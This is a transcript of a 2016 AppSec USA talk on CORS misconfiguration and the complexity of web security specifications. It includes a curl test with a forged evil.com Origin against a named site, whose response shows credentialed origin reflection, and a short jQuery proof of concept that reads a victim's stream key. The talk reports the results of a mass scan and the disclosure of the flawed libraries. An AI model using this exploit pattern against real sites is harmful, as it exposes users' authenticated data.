misconfigured cors, why being secure isn't getting easier. appsec usa 2016

45
Misconfigured CORS Evan Johnson Why being secure isn’t getting easier

Upload: evan-j-johnson

Post on 13-Apr-2017

277 views

Category:

Internet


3 download

TRANSCRIPT

Page 1: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Misconfigured CORS

Evan Johnson

Why being secure isn’t getting easier

Page 2: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

About MeMy name is EvanI’m a software engineer.I’m work on security at CloudflareI love golang.

Page 3: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

How would you secure the internet?

Page 4: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

The internet is not a series of castles

Page 5: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

The internet is not a series of castles

Page 6: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Same-Origin Policy

Page 7: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Cross Origin Resource Sharing

Page 8: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

CORS is driven by the Origin headerBased on origin header, the server is supposed to make

decisions about what CORS header to display

Page 9: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Access-Control-Allow-Origin: *Is not the same as reflecting the origin header. * means

no cookies

Page 10: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Cross Origin Resource Sharing Appropriately

Page 11: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Cross Origin Resource Sharing Appropriately

Page 12: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Reflecting all Origin headersAs Access-Control-Allow-Origin WITH Access-Control-

Allow-Credentials: trueWould be really bad.

Does anyone do this?

Page 13: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Why?

It basically turns off Same-Origin policy…

Which is like ... one of the worst security problems to have.

Page 14: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Cross Origin Resource Sharing Problem

Page 15: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Testing for Bad CORS

Page 16: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Testing for bad cors ➜ ~ curl https://streamable.com -H "Origin: https://evil.com" -I

HTTP/1.1 200 OKDate: Tue, 27 Sep 2016 03:39:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 34969Connection: keep-aliveServer: nginxVary: Accept-EncodingSet-Cookie: session=D2V05A0PVBFAXGCW7NJFGCPF; Domain=.streamable.com; Expires=Sat, 13-Feb-2044 03:39:01 GMT; Path=/Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true

Page 17: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Exploit Proof of Concept$.ajax({

url:"https://streamable.com/ajax/me", success: function( data ) {

document.write("Your stream key is " + data['stream_key']); }, xhrFields: { withCredentials: true }});

Page 18: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

How widespread is this problem?

Page 19: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

How do I know?

I scanned the Alexa 1M for websites that:●Access-Control-Allow-Origin: <myevilsite.com>●Access-Control-Allow-Credentials: true●I followed redirects●I checked both http and https

Page 20: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

1,514 sites with this problem config

Page 21: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

The code - https://github.com/ejcx/badcors-massscan

●Written in go●Heavy use of concurrency patterns●Making it public after this talk, and making the results and all the

sites public.

Page 22: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

The code -

Page 23: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

The code -

Page 24: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

What do you do when you find a thousand vulnerable websites?

Page 25: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Started tracking these misconfigurations at their src

●I started looking for the libraries that people were using to cause this behavior.

●I reported this to ○SAILS JS○Rack CORS○(some go library rs/cors.go or something)○More to come.

Page 26: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

CORS, the source

Page 27: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

CORS, the source

Page 28: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

So…. What’s this about?

Page 29: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Complexity

Page 30: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Complexity in CORS

Page 31: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Cross origin resource sharing could be way easier.

● The authors clearly wanted to prevent people from this type of behavior.

●That’s why “*” and “Allow-Credentials: true” is not allowed.

●Why make it possible at all.

●Why do you need 6 different response headers

●Reminds me of OpenSSL

Page 32: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

CORS is not alone...

●CSP●SRI●HPKP●Credential management●HSTS

Page 33: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Content Security Policy

●A new “hot” http response header●CSP is still a mess. Has 3 headers.●It is growing in complexity BY THE GOSH DARN DAY

Page 34: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Content Security Policy

Page 35: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Sub-Resource Integrity

●Load only expected assets. SRI dictates that you can only load things sub resources that match a hash that is baked in to the DOM.

●This is nice, but SRI is confusing. Who should use SRI. When is it no tnecessary? The spec is not clear.

Page 36: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

HTTP Public Key Pinning

●There are probably a bakers dozen of websites where this is useful

●Securityheaders.io tries to make you want to turn on HPKP●Huge operational burden●Disaster. ●Complex.

Page 37: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

HPKP

Page 38: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Credential Management

●In your browser NOW! Be afraid●Allows websites to log you in using the browser password

manager

Page 39: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

HTTP Strict Transport Security

●Very normal header to set now’a’days.●It is not easy. Beware of “includeSubdomains●https://twitter.com/bcrypt/status/781969754806366208

Page 40: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

What about usable security?

Page 41: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Who remembers OpenSSL?anyone? anyone?

Page 42: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Why not go the way of TLS1.3

Page 43: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

It should be easy to make a castle,so where do we go from here?

Page 44: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Demand simplicity

●Web specifications are hard. Why are they not easy?●Cross Origin Resource Sharing needs a full rewrite.●There are three different Content Security Policy headers....●Some browsers still don’t support it.●Some browsers still don’t support SRI.

WHAT A MESS! Web Specs should be easy!

Page 45: Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Come help us save the webThis stuff is all too hard.